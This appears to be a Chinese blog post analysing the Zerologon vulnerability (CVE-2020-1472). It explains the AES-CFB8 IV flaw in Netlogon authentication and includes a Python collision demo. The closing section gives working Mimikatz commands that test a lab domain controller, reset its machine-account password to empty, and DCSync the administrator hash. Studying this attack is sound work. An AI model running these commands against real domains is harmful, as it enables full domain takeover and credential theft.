目录
Intro
今天在复习密码学,想起来很久以前打的Zerologon是CFB8的问题,分析一下,从原理的角度聊聊
简单介绍一下这个洞吧:
CVE-2020-1472,未经身份验证的攻击者只需要能访问域控的135端口即可通过Netlogon远程协议连接域控并重置机器账户的Hash,从而导致攻击者可以利用域控的机器账户导出域内所有用户的Hash(域控的机器账户默认具有DCSync权限),进而接管整个域。
该漏洞存在的原因是Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭据的情况下通过认证。通过认证后,调用Netlogon协议中RPC函数NetrServerPasswordSet2来重置域控机器账户的Hash,从而接管全域。
Netlogon认证流程&缺陷
Netlogon服务为域内的身份验证提供一个安全通道,它被用于执行与域用户和机器身份验证相关的各种任务,最常见的是让用户使用NTLM协议登录服务器。默认情况下,Netlogon在域内所有机器后台运行(lsass.exe)
Netlogon客户端和服务端之间通过Microsoft Netlogon Remote Protocol(MS-NRPC)来进行通信。
不同于其他RPC,MS-NRPC自定义了一个认证解决方案
攻击者可控的因素有Client Challenge(在“Zerologon”中,攻击者会将client challenge设置为全0),server challenge在每一轮认证过程中都会变化,secret对应于用户密码的hash,Encrypt的过程采用的是AES-CFB8,其运算过程如下:
首先初始化一个16字节的IV,并用Session Key对其进行AES加密,得到的结果中的第一个字节与8字节的明文input(其实就是Client Challenge)的第一个字节进行异或运算,将异或结果放在IV末尾,IV整体向前移1个字节,得到新的IV。然后重复上述加密、异或、放末尾、移位步骤,直至将所有的明文input加密完毕,得到密文output,密文output与明文input长度相同
AES-CFB8安全性取决于随机选择的IV。但在Netlogon RPC中,作为ComputeNetlogonCredential检查的一部分,IV被错误的设置为0。
如果IV和Client Challenge为全0的话,那么整个AES运算过程在特定Session Key下有概率变成:
在认证过程中计算出的Session Key是随机的(因为Server Challenge是随机的),那么对全0的IV有1/256(就是2^8)的概率使其output的第一字节为0,IV值为0的第一字节与明文的值为0的第一字节异或也得0,放末尾、移位后IV仍不变,为全0。以此类推。
由于Netlogon协议对机器账户的认证次数没有限制,因此攻击者可以不断尝试来通过身份认证。
新的思考
其实不只是把IV置为全0,置为重复字节也一样利用
明文也不只是限于全0,只要是重复字节就行
IV的单字节只要和明文的单字节异或出和IV相同的字节就行(撞出对应的Session Key)
最终得到的密文值等于IV
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
from Crypto.Util.number import bytes_to_long
def aes_cfb8_encrypt(plaintext, key, iv=None):
iv = b"\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34"
cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=8) # segment_size=8 for CFB8
ciphertext = cipher.encrypt(plaintext)
return (ciphertext)
# Example usage
if __name__ == "__main__":
# Generate a random AES key (16 bytes for AES-128)
# Our plaintext
plaintext = b"\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22"
# Encrypt
while (True):
key = get_random_bytes(16)
ciphertext = aes_cfb8_encrypt(plaintext, key)
if (ciphertext == b"\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34\x34"):
print("success")
break
所以要求IV值要高度随机
漏洞利用
利用Mimikatz的Zerologon模块去探测域控是否存在该漏洞
mimikatz.exe "lsadump::zerologon /target:192.168.43.100 /account:DC01$" exit
利用NetrServerPasswordSet2修改域控密码为空,这一步会把域控dc(即dc$用户)的密码置为空,因为机器用户是不可以登录系统的,但是域控的机器用户具备Dcsync特权,我们就可以滥用该特权来进行Dcsync攻击
mimikatz.exe "lsadump::zerologon /target:192.168.43.100 /account:DC01$ /exploit" exit
Dcsync获取域管理员的Hash,这一步可以使用Mimikatz来进行Dcsync并获取域管理员帐户或 KRBTGT 帐户的哈希值即可。
mimikatz.exe "lsadump::dcsync /domain:main.test.com /dc:DC01 /user:administrator /authuser:DC01$ /authdomain:main /authpassword:"" /authntlm" exit